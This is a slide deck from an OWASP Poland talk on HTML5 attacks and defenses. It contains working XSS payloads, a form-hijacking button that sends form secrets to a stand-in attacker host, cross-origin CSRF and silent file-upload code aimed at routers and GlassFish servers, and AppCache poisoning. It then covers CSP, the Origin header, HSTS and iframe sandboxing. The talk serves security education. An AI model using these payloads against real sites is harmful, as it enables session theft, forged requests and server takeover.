Upload
krzysztof-kotowicz
View
975
Download
0
Tags:
Embed Size (px)
DESCRIPTION
Prezentacja z wrocławskiego spotkania OWASP Poland
Citation preview
Copyright 2007 © The OWASP FoundationPermission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.
The OWASP Foundation
OWASP
http://www.owasp.org
HTML5: atak i obrona
Krzysztof [email protected]
OWASP
$ id
IT security consultant @ SecuRing Web security researcher
(BlackHat USA, BruCON, Hack in Paris, ...) blog.kotowicz.net @kkotowicz
2
OWASP
HTML5(i pokrewne)
3
OWASP
HTML5
Upgrade wielu technologii używanych przez aplikacje webowe
Dużo nowej dokumentacji Dużo nowego kodu Prace trwają od 2004
4
OWASP
HTML5
Bogaty, oparty na standardach klient Przenoszenie logiki na stronę klienta
więcej danychwięcej możliwości
Nowe APIGeolocation, Drag & Drop, Filesystem, WebSockets,
WebWorkers, Touch Events...
5
OWASP
HTML5 i bezpieczeństwo
Wiele rozwiązań roboczych Tradycyjne webowe podatności HTML wciąż
istnieją XSSCSRF
Nowe API dostępne dla Javascriptu XSS zyskuje na znaczeniu
6
OWASP
HTML5 - ataki(praktyczne)
7
OWASP
XSS
Filtry anty-XSS nie tylko w przeglądarkach! Nowe elementy, nowe atrybuty
<video poster=javascript:alert(1)//></video>
<form><button formaction="javascript:alert(1)">X</button>
<math><maction actiontype="statusline" xlink:href="javascript:alert(3)">CLICKME<mtext>http://google.com</mtext></maction> </math>
8
<iframe srcdoc='<b>html here</b>'>
OWASP
XSS
SVG, base64 - XSS i zaciemnnianie
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <feImage> <set attributeName="xlink:href" to="data:image/svg+xml;charset=utf-8;base64, PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D"/> </feImage> </svg>
9
<svg><image style='filter:url("data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22><script>parent.alert(1)</script></svg>")'></svg>
OWASP
Data: URI
Użyj, jak kiedyś javascript:
Sprawdź przekierowania!
// all<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==>xss</a>
// IE<link rel=stylesheet href=data:,*%7bx:expression(write(/xss/))%7d >
http://vuln.pl/?redirect=data:text/html,....
Location: data:text/html,...
10
OWASP
Przechwytywanie formularzy
Bez użycia Javascript
<form id=f action=https://good.com><input name=secret></form>
// anywhere in the document<button form=f formaction=http://bad.ru>CLICK</button>
11
OWASP
Wykorzystanie XSS
HTML5 pomaga przy eksploitacjiWebSockets - wydajne połączenie z C&CDane w DB, HTML5 filesystem, Web Storage
// stealth modehistory.pushState('/innocent-url')
// wstrzyknięcie kodulocalStorage['code']='alert(/1/)';// późniejeval(localStorage['code'])
12
OWASP
Klasyczny XHR
Tylko w ramach tej samej domeny
13
OWASP
Cross Origin Resource Sharing
Międzydomenowy
14
OWASP
CORS
Międzydomenowe XHR, z poświadczeniami (credentials):
cookies certyfikat SSL/TLS kliencki poświadczenia HTTP auth
Docelowy serwer podejmuje decyzjęOdsyła odpowiednie nagłówki
15
OWASP
CORS
// http://attacker.cnvar xhr = new XMLHttpRequest();
xhr.open("POST", "http://victim.pl");xhr.setRequestHeader("Content-Type", "text/plain");xhr.withCredentials = "true"; // cookies etc.xhr.send("Anything");
16
OWASP
CORS
Żądanie XHR dociera do serwera Z poświadczeniami
Można wykorzystać do Cross Site Request Forgery Tak jak <form>, <img src> itd.Nic nowego?
17
OWASP
Cichy upload plików
Content-Type: multipart/form-data; boundary=AaB03x
--AaB03xContent-Disposition: form-data; name="submit-name"
Larry--AaB03xContent-Disposition: form-data; name="files"; filename="file1.txt"Content-Type: text/plain
... contents of file1.txt ...--AaB03x--
xhr.send
("Anythi
ng");
18
OWASP
Cichy upload plików
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary=xxx");
xhr.send('\--xxx\r\n\Content-Disposition: form-data;\ name="files"; filename="file1.txt"\r\n\Content-Type: text/plain\r\n\\r\n\ANYTHING\r\n\--xxx--');
19
OWASP
Cichy upload plików
Udaje multipart/form-data request z uploadem poprzez <input type=file>
Użyj do: Zastąpienia firmware’u w routerach Przejęcia kontroli nad serwerami aplikacyjnymi
logUrl = 'http://glassfishserver/ management/domain/applications/ application'; fileUpload(c,"maliciousarchive.war");
20
OWASP
Wstrzyknięcie treści
http://website/#/a/page
https://touch.facebook.com/#http://example.com/xss.php
HTTP/1.1 200 OKAccess-Control-Allow-Origin: *Content-Type: text/html
<img src=x onerror=alert(1)>
xhr.open("GET", "/a/page");
21
OWASP
Offline web applications
Cache offline
Manifest Typ MIME text/cache-manifest
Cache odświeża się, kiedy zmieni się plik
<html manifest=/cache.manifest>
22
CACHE MANIFEST//main/home/main/app.js/settings/home/settings/app.jshttp://img.example.com/logo.png
OWASP
Man in the middle
Podgląd / zmiana ruchu XSS session hijack (Firesheep)
Atak nietrwały
23
OWASP
AppCache poison
1. W trakcie MITM: wstrzyknięcie trucizny
2. Po zakończeniu MITM: • ofiara odwiedza stronę• robots.txt ma niewłaściwy typ MIME• zatruta strona pobierana z cache• złośliwy kod uruchamia się• ... aż do ręcznego wyczyszczenia offline cache
<html manifest="/robots.txt">....<script>evil_foo()</script>
CACHE MANIFESTCACHE:http://victim/NETWORK:*
24
OWASP
AppCache poison
25
OWASP
AppCache poison
Jak się bronić? SSL/TLSWyczyszczenie
offline cache
26
OWASP
HTML5 - obrona(w trakcie budowy)
27
OWASP
HTML5 - metody obrony
Content Security Policy (XSS) Nagłówek Origin (CSRF) HTTP Strict Transport Security (MITM) Iframe sandbox (izolacja treści)
28
OWASP
Content Security Policy
Polityka zapobiegająca m.in. XSS Firefox / Chrome / IE 10 / Safari Ciężka w implementacji
<a onclick=....> <script>code</script>
Defense-in-depth
29
OWASP
Content Security Policy
Content-Security-Policy: script-src 'self' https://apis.google.com; frame-src 'none'; object-src 'none'
30
OWASP
Nagłówek Origin
Referer: http://host:port/url/?a=1
Często używany do zabezpieczenia przed CSRF
Kiedyś łatwy do podrobienia
if (req.headers.referer && !req.headers.referer.match('ok.com')) { tell_attacker_to_get_lost();} else { process();}
31
OWASP
Nagłówek Origin
Łatwo pozbyć się nagłówka Referer!
preferencje przeglądarki https:// → http:// niemożliwa do ustalenia wartość
location = 'data:text/html,<html><meta http-equiv="refresh" content="0; url=data:text/html,<form id=f method=post action=\''+url+'\'></form><script>document.f.submit()</scri'+'pt>"></html>';
32
OWASP
Nagłówek Origin
szanuje prywatność
zachowany przy ruchu https:// → http://
nie może być podrobiony
nieznany →
Referer: http://host:port/naga-prawdaOrigin: http://host:port
Origin: null
33
OWASP
HSTS
HTTP Strict Transport Security Zabezpiecza przed atakami SSL stripping
GET / HTTP/1.1Host: gmail.com
HTTP/1.1 301 Be SecureLocation: https://mail.google.com/
34
OWASP
HSTS
Dozwolone tylko szyfrowane połączenia Ciche tłumaczenie http:// na https:// “Hard fail” w przypadku błędów SSL/TLS
Strict-Transport-Security: max-age=1576800; includeSubDomains
35
OWASP
Iframe sandbox
Bez dostępu do DOM Bez skryptów Bez pluginów (Java, Flash, ...) Bez formularzy Bez framebusting Ograniczenia można wybiórczo wyłączać
<script>user_id=4</script><iframe sandbox src=untrusted-ad.aspx />
36
OWASP
Iframe sandbox
<iframe sandbox src="data:text/html,<script>alert('haha!')</script>"></iframe>
// attacker.com<iframe sandbox="allow-scriptsallow-forms" src=http://clickjacked/ ></iframe>
37
OWASP
Nowe możliwości, także dla atakującego XSS groźniejszy w skutkach
Nowe narzędzia do obrony Warto je zastosować w kombinacji z tradycyjnymi
metodami
Podsumowanie
38
OWASP
Odnośniki
html5security.org html5sec.org www.owasp.org/index.php/
HTML5_Security_Cheat_Sheet
github.com/koto/ blog.kotowicz.net
39